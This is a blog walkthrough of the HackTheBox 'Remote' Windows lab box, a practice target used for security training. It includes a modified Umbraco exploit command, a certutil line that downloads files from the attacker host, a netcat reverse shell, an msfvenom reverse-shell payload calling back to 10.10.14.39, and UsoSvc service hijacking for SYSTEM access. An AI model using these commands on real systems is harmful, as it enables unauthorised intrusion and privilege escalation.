HackTheBox Remote Writeup
Remote was a fun windows box to hack. This is my second active target on HTB. My first was Traceback. Check that out for a similar web based exercise on Linux. Remote starts with a web vulnerability but requires finding credentials in a public share. DLL Hijacking is required to get a system shell.
- Mounting a public windows share
- Exploit modifications – changing python code for a web exploit
- DLL Hijacking for privilege escalation
An initial nmap scan reveals some listening services.
nmap -A -T4 10.10.10.180
Of the services listed, a few seemed important.
Reviewing ftp, anonymous connections were not allowed and nothing was really visible here.
Web is running an application called Umbraco. Source code from the app can be found online. There are multiple exploits in the exploit-database and on Github.
Other Windows services were new to me. Some googling required, I figured out how to look into mountd. There’s an nmap script to check what is available.
nmap -p 2049 -sV --script=nfs-showmount -oG nfs-showmount 10.10.10.180
Now that there is a user to authenticate with, exploit 46153 from exploit-db can be used. This creates command execution on the target. Before using the exploit we can see there is a few oddities about the script. Each line of the code ends with a semi-colon. The multi-line payload is wrapped in single quotes. To edit the payload easily, I replaced this with a simple string wrapped in triple double quotes “””.
The key part of the payload is below. There is multiple ways to improve this. What I originally did while exploiting this box was create two files. 46153-getnc.py and 46153-usenc.py where each had a hardcoded command.
<pre class="wp-block-code">``` string cmd = "";
As I write this review, it is clear that it would be easier to pass a variable. Just do the following and use a single file instead. `python3 46153fix.py "/c certutil -urlcache -split -f <hosted_file> <target_destination>"` Using the exploit, we can copy the windows binary for netcat from kali onto the target and use it to open a reverse shell as a low privilege user, this allows us to get access to the user.txt proof file. <div class="wp-block-image"><figure class="aligncenter size-large">!(https://www.hackerunder.dev/wp-content/uploads/2020/07/remote_4_get_nc_onto_target.png)</figure></div>Note: Anything we are downloading from Kali needs to be hosted on a web server. Lately I’ve been a using a simple web server. `python3 -m http.server 80` However a great tool that provides a better visual interface and other features is [UpDog](https://www.hackerunder.dev/whats-updog/). Both are options to for hosting. <div class="wp-block-image"><figure class="aligncenter size-large">!(https://www.hackerunder.dev/wp-content/uploads/2020/07/remote_4_host_nc-1024x262.png)<figcaption>use python web server to host kali’s windows-binaries directory</figcaption></figure></div><figure class="wp-block-image size-large">!(https://www.hackerunder.dev/wp-content/uploads/2020/07/remote_5_use_nc.png)<figcaption>use exploit and netcat to open a reverse shell</figcaption></figure><figure class="wp-block-image size-large">!(https://www.hackerunder.dev/wp-content/uploads/2020/07/remote_5_listen_nc.png)<figcaption>listener with reverse shell</figcaption></figure>## Privilege Escalation There are many commands to run that help gather information on how to get a better shell. One tutorial that walks through a lot is <https://www.fuzzysecurity.com/tutorials/16.html> Running `wmic service where started=true get name, startname` will show us a list of started services running on the target. Going through this list reveals which are vulnerable to DLL Hijacking. One such service is UsoSvc or the “Update Orchestrator Service”. I followed an example from <https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/> but modified what commands were used. I created a windows reverse shell with msfvenom. The command below creates an executable file we can upload like the netcat binary. `msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.14.39 lport=443 -f exe > root.exe` Use a python web server and the certutil command to download the file, then run the executable by changing the config of the UsoSvc service. <figure class="wp-block-image size-large">!(https://www.hackerunder.dev/wp-content/uploads/2020/07/remote_6_host_root_mfsvenom-1024x150.png)<figcaption>host payload on Kali web server</figcaption></figure><figure class="wp-block-image size-large">!(https://www.hackerunder.dev/wp-content/uploads/2020/07/remote_6_get_root_msfv_payload-1024x284.png)</figure>``` <pre class="wp-block-preformatted">sc stop UsoSvc sc config UsoSvc binpath="c:\windows\temp\root.exe sc start UsoSvc
Make sure that a netcat listener is already listening
nc -nlvp 443 before running the start command.